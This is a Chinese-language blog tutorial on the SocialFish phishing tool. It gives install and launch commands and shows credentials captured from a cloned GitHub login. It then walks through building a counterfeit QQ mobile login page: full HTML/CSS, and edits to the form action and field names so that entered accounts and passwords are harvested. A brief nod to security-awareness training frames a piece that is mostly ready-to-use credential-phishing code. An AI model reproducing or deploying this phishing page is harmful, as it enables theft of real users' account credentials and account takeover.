工具介绍
- SocialFish 是一种专门用于社交工程攻击的开源工具。它设计用于模拟各种社交媒体平台的登录页面，并收集用户的凭据和敏感信息。这些凭据和信息可以被黑客用于非法目的，例如未经授权的访问账户、身份盗窃或网络钓鱼攻击。
- SocialFish 的主要特点和功能包括：
- 社交媒体模拟：SocialFish 可以模拟多个知名社交媒体平台（如 Facebook、Instagram、Twitter）的登录页面。它通过伪造页面来欺骗用户输入其凭据。
- 自定义攻击页面：使用 SocialFish，攻击者可以自定义欺骗页面的外观和感觉，以使其看起来与目标平台的官方页面相似。这样可以提高攻击的成功率。
- 凭据收集：SocialFish 能够捕获用户在欺骗页面上输入的用户名和密码，并将其保存在一个文件中，以供攻击者进一步使用。
- 伪装功能：该工具还提供了伪装功能，可以隐藏攻击者的真实 IP 地址和位置信息，增加攻击者的匿名性。
- 在该工具的帮助下，广大研究人员可以轻松执行网络钓鱼测试或完成信息收集工作，企业安全管理人员也可以使用该工具来对员工进行安全意识培训。
工具安装
1
| apt-get install python3 python3-pip python3-dev -y
|
- 下载 SocialFish（可能需要科学上网哦）：
1
| git clone https://github.com/UndeadSec/SocialFish.git
|
1
| pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple
|
- 这时准备工作就已经完成了，输入如下命令启动 SocialFish：
1
| python3 SocialFish.py <youruser> <yourpassword>
|
工具使用
站点克隆
- 这时可以发现下方 ATTACKS LAUNCHED 数量增加了：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| {
'commit': 'Sign in',
'authenticity_token': 'EVN70u70ELzXSbnGTnMdDwgsQcO/9MVDHmkoXaHhFkx9ALs91X4/E5uiDdxaXM6AQedQNkQhgcWIe9SUR66xrQ==',
'login': '11nxx',
'password': '123456',
'webauthn-conditional': 'undefined',
'javascript-support': 'unknown',
'webauthn-support': 'unknown',
'webauthn-iuvpaa-support': 'unknown',
'return_to': 'https:
'allow_signup': '',
'client_id': '',
'integration': '',
'required_field_7b61': '',
'timestamp': '1699885624086',
'timestamp_secret': 'cc8cacbf9005031b809a5b08cec204e545554b97f6b3aa969a7015d015d4cea8'
}
|
自定义模板
- 很多同学可能会吐槽，这个克隆站点仅限于部分站点可以使用，很多克隆出来 CSS 样式等等都加载不了，那这时候应该怎么办呢？
- 没关系，我们还可以自定义 HTML 模板。
- SocialFish 中的核心代码格式如下：
1
2
3
4
5
6
7
8
9
10
11
12
| <html>
<head></head>
<body>
<form action="/login" method="POST">
<label>Email Address</label>
<input type="email" name="email" placeholder="Email" autocomplete="off">
<label>Password</label>
<input type="password" name="password" placeholder="Password" autocomplete="off">
<button type="submit">sign in</button>
</form>
</body>
</html>
|
- 我们这里举个简单的例子，比方说我们想要仿个简单的某 Q 的登陆页面：
注：这用到大佬写的 QQ 钓鱼工具 https://github.com/Cl0udG0d/QQFishing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
| # index.html
<!doctype html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<title>手机统一登录</title>
<style type="text/css">
@charset "utf-8";
body {
font-size: 16px;
background: #eee
}
* {
padding: 0;
margin: 0;
list-style: none;
text-decoration: none
}
input:focus {
outline: 0
}
#g_u {
border-bottom: 1px solid #eaeaea
}
.inputstyle {
width: 273px;
height: 44px;
color: #000;
border: none;
background: 0 0;
padding-left: 15px;
font-size: 16px;
-webkit-appearance: none
}
.logo {
background-image: url("../static/images/logo.png");
height: 100px;
width: 244px;
margin: 0 auto 20px;
background-size: 244px 100px
}
#switch,
#vcode,
#web_login {
margin: 0 auto
}
#web_login {
width: 290px
}
#g_list {
background: #fff;
height: 89px;
border-radius: 4px
}
#go,
#onekey {
width: 290px;
height: 44px;
line-height: 44px;
background: #146fdf;
border: none;
border-radius: 4px;
color: #fff;
font-size: 16px;
margin-top: 15px;
display: block
}
#switch #forgetpwd,
#switch #zc {
color: #246183;
line-height: 14px;
font-size: 14px;
padding: 15px 10px
}
#switch #forgetpwd {
float: left;
margin-left: -10px
}
#switch #zc {
float: right;
margin-right: -10px
}
#auto_login {
height: 24px;
margin: 15px 0;
color: #246183;
position: relative
}
#auto_login .wording {
position: absolute;
left: 40px;
line-height: 24px;
height: 24px;
font-size: 14px
}
#remember, #remember + .checkbox, #vcode #input_tips, #vcode #vcode_img, #vcode #vcode_input, .del_touch, .del_touch_icon, .del_u, .header .img_out, .header img, .nick, .txt_default {
position: absolute
}
#remember {
left: 14px;
top: 5px;
cursor: pointer;
z-index: 1;
opacity: .01
}
#remember:checked + .checkbox {
background: url("../static/images/checked.png") 1px 1px #146FDF;
border-color: #146FDF
}
#remember + .checkbox {
display: inline-block;
width: 21px;
height: 21px;
left: 9px;
top: 1px;
border: 1px solid #9ABBE3;
background: 0 0;
border-radius: 11px
}
</style>
</head>
<body>
<br>
<div id="logo" class="logo"></div>
<form name="input" action='' method="POST">
<div id="web_login">
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div>
<input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
placeholder="QQ号码/手机/邮箱">
</li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div>
<input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
placeholder="请输入你的QQ密码">
</li>
</ul>
<div id="auto_login">
<input type="checkbox" id="remember" checked="checked">
<span class="checkbox"></span>
<label class="wording"> 记住登录状态 </label>
</div>
<div>
<input type="submit" value="登 录" id="go">
</div>
</form>
<div id="switch">
<span id="zc" onclick="window.open('static\\signed_in.html')">注册新帐号</span>
<span id="forgetpwd" onclick="window.open('static\\signed_in.html')">忘了密码？</span>
</div>
</body>
</html>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <form name="input" action='' method="POST">
<div id="web_login">
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div>
<input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
placeholder="QQ号码/手机/邮箱">
</li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div>
<input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
placeholder="请输入你的QQ密码">
</li>
</ul>
<div id="auto_login">
<input type="checkbox" id="remember" checked="checked">
<span class="checkbox"></span>
<label class="wording"> 记住登录状态 </label>
</div>
<div>
<input type="submit" value="登 录" id="go">
</div>
</form>
|
- 这里最核心的是要把标签里的 name 值进行修改，同时 form 请求需要提交给 /login：
- form 请求提交给
<form action="/login" method="POST">
- 账户 name=”email”
- 密码 name=”password”
- 修改后代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
| <!doctype html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta id="viewport" name="viewport"
content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<title>手机统一登录</title>
<style type="text/css">
@charset "utf-8";
body {
font-size: 16px;
background: #eee
}
* {
padding: 0;
margin: 0;
list-style: none;
text-decoration: none
}
input:focus {
outline: 0
}
#g_u {
border-bottom: 1px solid #eaeaea
}
.inputstyle {
width: 273px;
height: 44px;
color: #000;
border: none;
background: 0 0;
padding-left: 15px;
font-size: 16px;
-webkit-appearance: none
}
.logo {
background-image: url("../static/images/logo.png");
height: 100px;
width: 244px;
margin: 0 auto 20px;
background-size: 244px 100px
}
#switch,
#vcode,
#web_login {
margin: 0 auto
}
#web_login {
width: 290px
}
#g_list {
background: #fff;
height: 89px;
border-radius: 4px
}
#go,
#onekey {
width: 290px;
height: 44px;
line-height: 44px;
background: #146fdf;
border: none;
border-radius: 4px;
color: #fff;
font-size: 16px;
margin-top: 15px;
display: block
}
#switch #forgetpwd,
#switch #zc {
color: #246183;
line-height: 14px;
font-size: 14px;
padding: 15px 10px
}
#switch #forgetpwd {
float: left;
margin-left: -10px
}
#switch #zc {
float: right;
margin-right: -10px
}
#auto_login {
height: 24px;
margin: 15px 0;
color: #246183;
position: relative
}
#auto_login .wording {
position: absolute;
left: 40px;
line-height: 24px;
height: 24px;
font-size: 14px
}
#remember, #remember + .checkbox, #vcode #input_tips, #vcode #vcode_img, #vcode #vcode_input, .del_touch, .del_touch_icon, .del_u, .header .img_out, .header img, .nick, .txt_default {
position: absolute
}
#remember {
left: 14px;
top: 5px;
cursor: pointer;
z-index: 1;
opacity: .01
}
#remember:checked + .checkbox {
background: url("../static/images/checked.png") 1px 1px #146FDF;
border-color: #146FDF
}
#remember + .checkbox {
display: inline-block;
width: 21px;
height: 21px;
left: 9px;
top: 1px;
border: 1px solid #9ABBE3;
background: 0 0;
border-radius: 11px
}
</style>
</head>
<body>
<br>
<div id="logo" class="logo"></div>
<form name="input" action='' method="POST">
<div id="web_login">
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div>
<input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
placeholder="QQ号码/手机/邮箱">
</li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div>
<input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
placeholder="请输入你的QQ密码">
</li>
</ul>
<div id="auto_login">
<input type="checkbox" id="remember" checked="checked">
<span class="checkbox"></span>
<label class="wording"> 记住登录状态 </label>
</div>
<div>
<input type="submit" value="登 录" id="go">
</div>
</form>
<div id="switch">
<span id="zc" onclick="window.open('static\\signed_in.html')">注册新帐号</span>
<span id="forgetpwd" onclick="window.open('static\\signed_in.html')">忘了密码？</span>
</div>
</body>
</html>
|
- 然后我们整理完整的代码如下，覆盖到：SocialFish/templates/custom.html，然后在生成时选择 Custom HTML，点击⚡生成：
注：记得 logo 等图标要一起移动。
1
2
3
4
| {
'email': '11nxx',
'password': 'Goktech@123'
}
|
Wechat
Alipay
